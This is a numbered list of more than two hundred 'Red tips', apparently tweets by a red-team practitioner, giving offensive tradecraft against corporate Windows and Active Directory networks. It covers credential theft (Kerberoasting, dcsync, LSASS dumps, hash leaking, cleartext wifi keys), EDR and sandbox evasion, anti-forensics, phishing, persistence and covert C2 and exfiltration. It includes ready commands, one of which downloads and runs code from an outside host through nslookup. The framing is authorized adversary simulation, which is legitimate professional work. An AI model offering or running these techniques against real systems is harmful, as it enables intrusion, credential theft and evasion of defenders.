- Red Tip #1: Profile your victim and use their user agent to mask your traffic. Alternatively use UA from software such as Outlook.
- Red tip #2: If the enemy SOC is using proxy logs for analysis. Guess what? It won’t log cookies or POST body content as can be sensitive.
- Red tip #3: Taking a snapshot of AD can let you browse, explore and formulate future attacks if access is lost momentarily.
- Red tip #4: consider using Office Template macros and replacing normal.dot for persistence in VDI environments.
- Red tip #5: Do a DNS lookup for terms such as intranet, sharepoint, wiki, nessus, cyberark and many others to start intel on your target.
- Red tip #6: Got access but need to find target? Use WMIC to query and dump the DNS Zone for a better view of assets – https://serverfault.com/questions/550385/export-all-hosts-from-dns-manager-using-powershell
- Red tip #7: Whether PSEXEC, WMI, PS remoting or even the recent COM execution technique for lateral movement. Don’t forget beloved RDP.
- Red tip #8: Make sure there’s trackers in your: emails, delivery server and payload execution. Any more? Comment to share!
- Red tip #9: When PowerUp yields no results, don’t forget SysInternals’s AutoRuns. Often you can find unexpected surprises :)
- Red tip #10: When using BloodHound, don’t forget DA equivalents such as administrators and server operators etc too. These aren’t mapped.
- Red tip #11: When navigating mature environments, a good old network diagram along with AD OUs can help to shed some light into next steps.
- Red tip #12: Kerberoast them hashes, could be a fast route to domain administrator. PowerView: Invoke-Kerberoast -Format Hashcat
- Red tip #13: Shared local administrator account hashes are great for lateral movement. Find machines based on the same build and attack away
- Red tip #14: Got extra credentials? Use different sets for separate egress channels so that if one account is disabled all the rest are ok.
- Red tip #15: You don’t need payloads when you can phish credentials and login to Citrix, VPN, email with no 2FA. Check the perimeter.
- Red tip #16:
@dafthack MailSniper, @domchell LyncSniper can be a useful but noisy way to obtain AD credentials into an organisation.
- Red tip #17:
@_staaldraad Ruler tool can be used to obtain code execution on a system running Outlook if you can access exchange externally
- Red tip #18: When tools like MailSniper don’t work in custom environments, you still have good old
@Burp_Suite to replicate the attacks
- Red tip #19: Need a DC? echo %LOGONSERVER%. Need a list? nltest /dclist, nslookup -q=srv _kerberos._tcp (domain suffix can autocomplete)
- Red tip #20: So apparently not many people use SSH for redirector setup. So try out SSH c2 -R *:80:localhost:80. SSH config GatewayPorts yes
- Red tip #21: Found open user home shares that are accessible? See if you can drop into Startup Programs for lateral movement and privesc.
- Red tip 22: Use VNC, microphone and webcam to perform surveillance. Netstat, tasklist can provide context into what the user’s doing.
- Red tip #23: Stash payloads in C:\$Recycle.Bin
- Red tip #24: Compromise the SOC and Security teams to watch their progress and track their email alerts for sophisticated threats
- Red tip #25: Probably don’t do this on a red team, but spray for Welcome1, Password1… if you’re struggling to move. But move off fast.
- Red tip #26: Split your campaigns up so that they are independent. Fire tons at once for decoys and to burn out the defence.
- Red tip #27: Need more credentials? Search for passwords on Sharepoint, and intranet.
- Red tip #28: Look for asset registers to understand who owns what machine, make and model. There’s usually an asset label to host name too!
- Red tip #29: Lateral movement: printers, open webroots, good old Tomcat, what are your quick wins?
- Red tip #30: Get AD credentials? Turn up on site and you might be able to use them to login to Corporate Wifi :)
- Red tip #31: Hunting e-mails and network shares for penetration testing reports can often yield good results.
- Red tip #32: List mounts: net use, look for shared folders and drop a UNC icon LNK into it. Run Inveigh or Wireshark on host to grab hashes.
- Red tip #33: Orgs are transitioning to cloud services such as AWS, Beanstalk, O365, Google Apps. 2FA is vital – password reset to compromise.
- Red tip #34: OpSec. Set notifications to your phone for logins or intrusion attempts in any part of your attack infrastructure.
- Red tip #35: FireEye sandbox flagging your payloads? Try anti sandbox techniques! If not, just use HTA to get into memory as it doesn’t scan
- Red tip #36: Don’t forget the good old GPP passwords in SYSVOL. There may be cached GPP on the machine. Applying the patch isn’t enough
- Red tip #37: Use GenHTA to generate HTA files that use anti-sandboxing techniques. https://github.com/vysec/GenHTA
- Red tip #38: Having trouble getting
@armitagehacker CobaltStrike’s evil.hta through defenses? https://github.com/vysec/MorphHTA
- Red tip #39: If emails get bounced, read the email! Sometimes due to malware scanners, spam etc. Or you may even get an out of office reply.
- Red tip #40:
@0x09AL suggests looking for default credentials on printers and embedded devices. Move off initial foothold using this.
- Red tip #41:
@Oddvarmoe suggests using Alternate Data Streams if you need to put a file on disk. For example https://github.com/samratashok/nishang/blob/master/Backdoors/Invoke-ADSBackdoor.ps1
- Red tip #42: Got OS level access to a middle tier? Task list, netstat and wmic process list full | findstr /I commandline for more ideas!
- Red tip #43: So you know where the server application files are. Download the binaries and check out configuration files for conn. strings
- Red tip #44: Run PEiD and other packer / technology checkers to find out the language and packer used on downloaded server binaries.
- Red tip #45: Run strings on the application binary for potentially other cleartext sensitive strings! (Unicode mode too)
- Red tip #46: On a VDI? Check out C:\ and other disks for potentially sensitive files other users may have saved there.
- Red tip #47: Incase EDR are looking for “net users /domain” try using “net use /dom”
- Red tip #48: Is EDR potentially looking for “powershell -encodedcommand”? Try “powershell -ec”
- Red tip #49: Attacking a heavy Macintosh or Linux estate? Send a Office Maldoc with OS checking logic to obtain footholds on either system
- Red tip #50: Carbon Black checks for IEX and web req commands. Use powershell “powershell . (nslookup -q=txt http://calc.vincentyiu.co.uk )[-1]”
- Red tip #51: Can’t open C drive? Try \\127.0.0.1\c$
- Red tip #52: SC doesn’t take credentials. Can’t use runas? Try net use \\targetip\ipc$ password /u:domain\username then sc to psexec
- Red tip #53: When stick phishing for 2FA, consider using
@mrgretzky Evilginx project which logs cookies. https://breakdev.org/evilginx-1-1-release/
- Red tip #54: Hide from blue. Volume shadow copy then execute \\?\GLOBALROOT\Device\HarddiskVolumeShadowColy1\malware.exe/dll then delete VSC
- Red tip #55: SMB hash leaking using a UNC path for image in page for drive by leak can give you credentials for less mature environments.
- Red tip #56: Target victims using email authentication such as Microsoft Account on Windows 10? Hash leak exposes full email address!
- Red tip #57: Working in teams yields better results; and best of all… Makes Offensive operations more fun and keeps the adrenaline pumping
- Red tip #58: Discuss business targets and objectives with your clients. This process should set non technical goals such as “ATM spit money”
- Red tip #59: Checking whether a server or host is good for egress? Likely to go down? “systeminfo | findstr /i boot”
- Red tip #60: Type “query user” to see who else is connected to the machine.
- Red tip #61: Get a quick patch list using wmic qfe list brief. Cross ref KB to bulletins.
- Red tip #62: Found a process of interest? Don’t forget to obtain a MiniDump! Use Out-MiniDump https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Out-Minidump.ps1
- Red tip #63: Finally in CyberArk, click policies and see safes but no account? Go to accounts search and search for empty and safes show up
- Red tip #64: Is WebDav allowed through the gateway? Using http mini redirector? Don’t exfiltrate or send in files. WebDav is subject to DLP
- Red tip #65: WebDav mini http redirector: net use * http://totallylegit.com/share . Then start z:
- Red tip #66: Found potential MQ creds? ActiveMQ? Try out https://github.com/fmtn/a , works to query MQ endpoints that don’t use self signed crt
- Red tip #67: Use vssadmin to list and create volume shadow copies
- Red tip #68: Pivoting into a secure zone that has no DNS or web gateway and need exfil? Netsh port forward pivot UDP 53 to DNS 53 then boom
- Red tip #69: Have blue hidden the ways including winkey+R? Try shift and right click desktop and open command prompt
- Red tip #70: Tracked down that putty session? Popped the box? Query user and check the victims logon time and idle times
- Red tip #71: Hijack his Session using sc create sesshijack binpath= “cmd.exe /k tscon <ID> /dest:<SESSIONNAME>” then use putty session
- Red tip #72: Most people understand email sec wrong. SPF does not mean not spoofable. SPF does nothing without DMARC.
- Red tip #73: Weak DMARC on victim org domain? Spoof their own emails back into themselves! You even inherit their AD name and photo
- Red tip #74: Got access to Microsoft OWA mailbox or O365? You can extract global catalog from contacts use
@Burp_Suite and parse JSON object
- Red tip #75: Write PHP delivery scripts that can mutate your payloads and add unique trackers per download. This tracks file being executed
- Red tip #76: Simulating a criminal threat story with smash and grab agenda? Phish users and hot swap payload mid campaign to test formats
- Red tip #77: RCE on a web application for less mature client? nslookup -q=srv _ldap._tcp… if it’s domain joined Invoke-Kerberoast
- Red tip #78:
@benichmt1 suggests looking for vmdk files across the network. You can use this to potentially access segregated networks
- Red tip #79: Obfuscation is never bad, especially when it’s a button click.
@danielhbohannon – https://github.com/danielbohannon
- Red tip #80: Need to sweep for uptimes? Use wmic /node:”<computer>” OS get LastBootUpTime in a for loop
- Red tip #81: Looking for systems running KeePass? Run a for loop on wmic /node:”host” process list brief :) then look at RT #82
- Red tip #82: Found KeePass running in memory? Use
@harmj0y KeeThief to extract password and dl the KDBX – https://github.com/HarmJ0y/KeeThief
- Red tip #83: Struggling to find a working DB client? Live off the land and use your victim’s in an RDP session.
- Red tip #84: I’m sure everyone hates Oracle DB but no sweat, you can proxycap sqldeveloper.exe
- Red tip #85: Check the users’ calendars before using persistence on their machine. They may be out of office and screw your master plans.
- Red tip #86: Red team and attack simulation is not penetration testing. You shouldn’t be really testing anything, but simply infiltrating.
- Red tip #87:
@Oddvarmoe uses .UDL files to quickly launch a MSSQL connection test to validate credentials! https://blogs.msdn.microsoft.com/farukcelik/2007/12/31/basics-first-udl-test/
- Red tip #88: Don’t forget Physical security! Whip up a PI with GSM and you can hack your way in by dropping the PI on network.
- Red tip #89: regsvr32 SCT files are being detected as Squigglydoo. Looks for “script” case sensitive and “<registration” case insensitive.
- Red tip #90: Cisco NGIPS is shit, when analysing traffic for havex it drops only <havexhavex> but not <havexDATABLOBhavex>
- Red tip #91: Decoys can be as simple as burning egress by port scanning 1-1024 through IDS, or spamming dodgy emails at blocks of employees
- Red tip #92: If WDigest is disabled, reenable it for cleartext credentials before new users login with
- Red tip #93: Use Empyre to generate Macintosh and Linux payloads, modify it to contain code for Windows too! https://github.com/EmpireProject/EmPyre
- Red tip #94: Client uses VDIs? Compromise underlying host and use Citrix Shadow Taskbar to spy on VDI sessions by selecting username
- Red tip #95:
@domchell recommends avoiding non persistent VDIs and persist on laptops. Query DC for live laptops.
- Red tip #96:
@lucasgates recommends using OLE objects containing VBS scripts instead of Macros as less suspicious. VBE will work too
- Red tip #97: Use recent critical vulnerabilities such as CVE-2017-0199 HTA handler issue to simulate real threats. https://www.mdsec.co.uk/2017/04/exploiting-cve-2017-0199-hta-handler-vulnerability/
- Red tip #98:
@0x09AL suggests WordSteal. You can embed an IMAGE with UNC path to steal hashes from Word. Won’t work if proxy. https://github.com/0x09AL/WordSteal
- Red tip #99: If client is using Proxy with WebDav you can phish creds using
@ryHanson Phishery https://github.com/ryhanson/phishery
- Red tip #100: Use wgsidav if you need a quick WebDav server :) https://github.com/mar10/wsgidav
- Red tip #101: Set up red team infrastructure following
@bluscreenofjeff guidelines! https://github.com/bluscreenofjeff/Red-Team-Infrastructure-Wiki
- Red tip #102: Easier DNS redirector! https://pastebin.com/LNj4zjFs for opsec and not hosting C2 on the cloud
- Red tip #103: Red team tips are useful but what makes the good red teamer is experience. Rack up that breadth of experience
- Red tip #104: SessionGopher does a decent job at retrieving putty and RDP history – https://github.com/fireeye/SessionGopher
- Red tip #105: If ping 188.8.131.52 works, try ICMP tunnelling. More info at http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-5.html?m=1 from
@fragsh3ll though only on immature network
- Red tip #106: Wordlists? https://github.com/berzerk0/Probable-WordlistsI like to use the top probable 297 million list with Deadhobo rules
- Red tip #107: More of a pentest tip but nslookup http://google.com if it resolves you may have a DNS tunnelling problem.
- Red tip #108: Post exploitation Asset Discovery https://github.com/vysec/Invoke-DNSDiscovery looks for assets by name that might be good if you’re low priv user.
- Red tip #109: Use Invoke-ProcessScan to give some running processes context on a system. This uses EQGRP leaked list- https://github.com/vysec/Invoke-ProcessScan
- Red tip #110: Mature blue? Be careful and minidump lssas.exe then download it and parse locally
- Red tip #111: Found an exploitable S4U condition? Use Mistique to attack! https://github.com/machosec/Mystique/blob/master/Mystique.ps1
- Red tip #112: Need to use VNC as RDP in use? https://github.com/artkond/Invoke-Vnc has been pretty stable for me. Run it then pivot in and connect!
- Red tip #113: Found super secret.doc or master password database.xlsx? Use office2john to get hash and crack in Hashcat!
- Red tip #114: PowerUp didn’t work and you want to autoruns? Don’t bother going on disk, use Invoke-AutoRuns to csv- https://github.com/p0w3rsh3ll/AutoRuns
- Red tip #115: Need to zip up a directory quickly for easy exfiltration? Eg. Home shares https://github.com/thoemmi/7Zip4Powershell use Powershell
- Red tip #116: Use CatMyFish to search for categorised domains that could be used in your engagements – https://github.com/Mr-Un1k0d3r/CatMyFish
- Red tip #117: Ran Invoke-MapDomainTrusts from PowerView? Use
@harmj0y DomainTrustExplorer to generate a graph – https://github.com/sixdub/DomainTrustExplorer
- Red tip #118: FOCA finds some useful information for OSINT and intelligence phases. https://www.elevenpaths.com/labstools/foca/index.html
- Red tip #119: GoPhish is a pretty useful tool for spinning up simple phishing campaigns especially for decoys https://getgophish.com
- Red tip #120: If you have write access to the orgs shared Office template folders… You can privesc by backdooring these trusted documents.
- Red tip #121:
@zwned uses netsh packet tracing to sniff natively from victim host. Save capture and analyze offline!
- Red tip #122: More decoy tips! Scan the external perimeter with tools like Nessus and OpenVAS. More traffic the better just to burn the blue
- Red tip #123: Read Sean Metcalf’a blog http://adsecurity.org/ When AD is used in many environments, it vital to at least know techniques
- Red tip #124: Remember you can generate a golden ticket offline with knowledge of krbtgt and rest offline. Golden ticket gets silver from DC
- Red tip #125: Got krbtgt of a child domain? Forest parent trusts you? Use the SID history attack in golden tickets to escalate to Ent Admin
- Red tip #126: You don’t necessarily need Domain Admin, if you have an account that has “Replicating directory changes”, dcsync to pull hash
- Red tip #127: Planning to use secretsdump.py? :) Try using the DC machine account to authenticate and dump instead of a user! Save hash
- Red tip #128: Use machine account hashes to generate silver tickets to a host for persistence. Save machine hash for DC incase krbtgt rotate
- Red tip #129: Use PEAS to query shares and emails if using ActiveSync – https://github.com/mwrlabs/peas
- Red tip #130: (Not red really but useful) Sort IPs: cat IPs.txt | sort -t . -k1,1 -k2,2 -k3,3 -k4,4
- Red tip #131: Learn AWK and general bash scripting. Processing and merging of data sets speeds up our job for discovery and time keeping.
- Red tip #132: Worth learning to pick locks and the dust can sensor trick if you’re going to do some physical. http://www.artofmanliness.com/2014/11/19/how-to-pick-a-lock-pin-tumbler-locks/
- Red tip #133: Grep has an extract flag -o that can be used to extract from a regex. Good for extracting data from massive blobs.
- Red tip #134: Victims use wireless? Use KARMA attack to force them onto your network. Use eternalblue, domain creds or other vulns to get in. https://github.com/sensepost/mana
- Red tip #135: Phishing pages are usually custom. However it’s always good to have a stash for decoys. Generic Gmail, Office365?
- Red tip #136: Keep up to date by watching presentations from conferences on YouTube :) Discover useful techniques
- Red tip #137: If you’ve exhausted all payload types, try sending a Mac user a python one liner and Win PS 1 liner. I’ve had people run it.
- Red tip #139: If you need to get a clean EXE for file drop and exec, try out
@midnite_runr Backdoor Factory – https://github.com/secretsquirrel/the-backdoor-factory
- Red tip #140: If enemy does not use proxy with TLS inspection then you can use https://www.mdsec.co.uk/2017/02/domain-fronting-via-cloudfront-alternate-domains/ to mask your c2 channel further
- Red tip #141: On a Linux box and want to egress from it over a proxy? Use ProxyTunnel to pipe SSH – https://github.com/proxytunnel/proxytunnel
- Red tip #142: Need some OSINT? Keep Spiderfoot running long term to accompany your manual OSINT sources http://www.spiderfoot.net
- Red tip #143: OSINTing? TheHarvester does a decent job at subdomains. Though there’s better ways to get emails bulk. https://github.com/laramies/theHarvester
- Red tip #144: Exploring and want to use WMI? https://www.microsoft.com/en-us/download/details.aspx?id=8572 is pretty useful for exploring the different namespaces and classes.
- Red tip #145: Need to reset a password? Do it then quickly dcsync for previous password hash and use NTLMinject – https://github.com/vletoux/NTLMInjector
- Red tip #146: IDS flagging known payload binary blob? Base64 encode it in your payload and use certutil, PS or VB to decode it!
- Red tip #147: Test your phishing campaigns before sending!!!
- Red tip #148: If you’re sending into Exchange, make sure your SMTP server is not in SPAM list or black lists. Check junk mail’s mail headers
- Red tip #149: Use Microsoft’s Message Header Analyzer to parse and review email headers from Outlook. https://testconnectivity.microsoft.com/MHA/Pages/mha.aspx
- Red tip #150: Make sure phishing email’s Bounce header matches From. Or else some will flag as malicious.
- Red tip #151: DomainHunter also looks for good candidate expired domains – https://github.com/minisllc/domainhunter
- Red tip #152: Want to scrape MetaData in CLI? Use PowerMeta. Linux users can use PowerShell too! https://github.com/dafthack/PowerMeta
- Red tip #153: RDP in use? Don’t want to use VNC? Try mimikatz’s ts::multirdp in memory patch by
- Red tip #154: Admin on a machine with VPN client? certificate extraction using Mimikatz by
@gentilkiwi. Don’t forget to dl configs. Backdoor
- Red tip #155: Master all the quick wins to Domain privilege escalation. When you’re pressured to get DA in 15 mins, you want to know you can
- Red tip #156:
@Akijos notes that we should be careful when using silver tickets with scheduled tasks. Author is the user account you’re on.
- Red tip #157: If you don’t need a golden ticket, don’t generate it.
- Red tip #158: Scan a DNS server for Alexa top 1 million spoofable domains :) I’ve got a massive list, do you?
- Red tip #159: Scan the internet for a list of domain frontable domains! I’ve got a big big list ready for whenever I want to use them :)
- Red tip #160: We all know people share credentials between different services. Try these credentials on other accounts owned by the user!
- Red tip #161: Can’t crack a password? Try the users’ previous passwords from history in AD. They may follow a pattern.
- Red tip #162: Can’t crack a hash owned by a user? Take all previously discovered passwords from their files and generate a new word list.
- Red tip #163: Can’t crack a password? Make sure these are in your word list: name of company, town, capital, country, months! Appear a lot.
- Red tip #164: Didier Stevens has SelectMyParent tool that lets you spawn a child process with an arbitrary parent. https://blog.didierstevens.com/2017/03/20/that-is-not-my-child-process/
- Red tip #165: Using SelectMyParent stops those detections eg. powershell.exe spawning cmd.exe.
@armitagehacker‘s CobaltStrike has ppid cmd!
- Red tip #166: Use PowerPoint mouse over text to invoke a powershell command one liner.
#adversarysimulation – https://www.dodgethissecurity.com/2017/06/02/new-powerpoint-mouseover-based-downloader-analysis-results/
- Red tip #167: Follow
@mattifestation to keep up to date with blue team advances. Just in case blue is actually up to date with mitigations!
- Red tip #168: Using VBS or JS? Can’t stage using PowerShell.exe as blocked?
@Cneelis released https://github.com/Cn33liz/StarFighters so you can keep use PS
- Red tip #169: Not sure who uses Wi-Fi webcams but go run a mass deauth attack if you’re going to plan on breaking in physically to discon
- Red tip #170:
@malcomvetter Never use defaults – run Mimikatz with AES and 8 hour tickets to avoid passive detection from NG defense tools!
- Red tip #171: Win XP doesn’t have PowerShell? Try using Unmanaged powershell to keep using your favourite scripts!
- Red tip #172:
@anthonykasza tells us that the at.exe command takes base64 encoded Params! Eg. at.exe b64::[encoded params]
- Red tip #173: Grab cleartext wireless keys: netsh wlan show profile name=”ssid” key=clear
- Red tip #174: Got a shell on a victim without admin? Want their creds? Try Inveigh then rpcping -s 127.0.0.1 -t ncacn_np to leak hash.
- Red tip #175: Got a low priv shell and need creds? Use Invoke-LoginPrompt by
- Red tip #176: Get access to shadow admin accounts, they can DCsync and are essentially DA. https://www.cyberark.com/threat-research-blog/shadow-admins-stealthy-accounts-fear/
- Red tip #177: If blue detects PTH. Try extract Kerberos tickets and PTT.
- Red tip #178:
@lefterispan wrote https://gist.github.com/leftp/a3330f13ac55f584239baa68a3bb88f2 … which sets up a proxy and forces an auth attempt to it to leak hash. Low priv leak.
- Red tip #179: When creating phishing pages, try cloning and modifying parts of the client’s own webpages. For example of their VPN login!
- Red tip #180: Regardless of whether there are known defences. Run your PS scripts through Obfuscation before loading into memory.
- Red tip #181: Stuck trying to find those assets still? Try
@424f424f Get-BrowserData https://github.com/rvrsh3ll/Misc-Powershell-Scripts/blob/master/Get-BrowserData.ps1
- Red tip #182: Follow
@JohnLaTwC as he tweets phishing examples and sometimes with new techniques used in Wild. Good for adversary simulation
- Red tip #183:
@MrUn1k0d3r released https://github.com/Mr-Un1k0d3r/SCT-obfuscator … can probably bypass Gateway signatures when performing SCT delivery for regsvr32!
- Red tip #184: We always talk about Windows and AD. But now let’s have a look at Linux and AD with https://medium.com/@br4nsh/from-linux-to-ad-10efb529fae9
- Red tip #185: Use WSUS for lateral movement https://github.com/AlsidOfficial/WSUSpendu/blob/master/WSUSpendu.ps1
- Red tip #186: View
@jpcert https://www.jpcert.or.jp/english/pub/sr/20170612ac-ir_research_en.pdf … and look at all those indicators and artefacts left behind. Then hexedit those tools
- Red tip #187: Found a portal using 2FA? Using RSA SecureID? https://blog.netspi.com/targeting-rsa-emergency-access-tokencodes-fun-profit/ … Pin bruteforce!
- Red tip #188:
@pwnagelabs says to avoid bash history on exit using: kill -9 $$
- Red tip #189:
@pwnagelabs teaches us how to avoid wtmp logging with: ssh -l user target -T
- Red tip #190:
@bluscreenofjeff shows us how to use Apache Mod rewrite to randomly serve different payloads https://bluescreenofjeff.com/2017-06-13-serving-random-payloads-with-apache-mod_rewrite/
- Red tip #191: Domain user? Query LDAP for Printers. Attempt default creds or known vulns then read Service account creds, hash or relay
- Red tip #192: Get-WmiObject -Class MicrosoftDNS_AType -NameSpace Root\MicrosoftDNS -ComputerName DC001 | Export-CSV -not dns.csv
- Red tip #196: DA -> Locate DB -> Found MSSQL? https://github.com/NetSPI/PowerUpSQL … use PowerUpSQL to enumerate and privesc by stealing tokens.
- Red tip #197: If ACL doesn’t let you read other users’ home shares, you can try net view \\fileserv /all to try other shares and folders!
- Red tip #198: Username jondoe and jondoe-x? Ones an Admin? Try same password. May be shared repeat for entire user list.
- Red tip #199: Failed to phish? Payloads failing? Mac users? Write an email and ask them to open terminal and paste in python Empyre one line
- Red tip #200:
@_wald0 blessed us with this BH cypher query to skip specific nodes to look for other paths. https://pastebin.com/qAzH9uji
- Red tip #201:
@424f424f pushed some research into LNK files inside CAB can be used to bypass the Attachment Manager http://www.rvrsh3ll.net/blog/informational/bypassing-windows-attachment-manager/
- Red tip #202: When domain fronting, your calls hit the edge node, so every domain you use potentially hits a different a IP!
- Red tip #203: If using
@Cneelis StarFighter. Instead of using a staged web delivery, just stick while stageless payload as encoded block in!
- Red tip #204: Printers are often good MAC addresses to use to beat NAC when physical red teaming as printers (mostly?) don’t support 802.1x
- Red tip #205: If proxy is blocking SCT file, replace <scriptlet> with <package> and add <component id=”test”> around the rest. Thx
- Red tip #206: CobaltStrike’s
@armitagehacker VNC not working? Here’s a workaround using @artkond Invoke-VNC https://github.com/vysec/Aggressor-VYSEC/blob/master/vnc-psh.cna
- Red tip #209: Automate environment prepping and spawn all processes as a child of explorer.exe by
- Red tip #207: Got C2 on Windows user but no credentials? Leak a hash using
@leftp‘s code. Implemented into CNA https://github.com/vysec/Aggressor-VYSEC/blob/master/Invoke-CredLeak.ps1
- Red tip #208:
@Nebulator spoke on IP regex by IR at #SnoopCon. Here’s CobaltStrike @armitagehacker CNA to automate https://github.com/vysec/Aggressor-VYSEC/blob/master/ping.cna
- Red tip #210:
@subTee highlighted to us that XML requests can be used as a download cradle in constrained language mode!
- Red tip #211: Check out
@armitagehacker‘s post on OPSEC considerations when using Cobalt Strike’s beacon. https://blog.cobaltstrike.com/2017/06/23/opsec-considerations-for-beacon-commands/
- Red tip #212: Reset AD passwords from Linux with
@mubix https://room362.com/post/2017/reset-ad-user-password-with-linux/ … :) proxychains it over your pivot
Enjoy and follow @vysecurity in Twitter !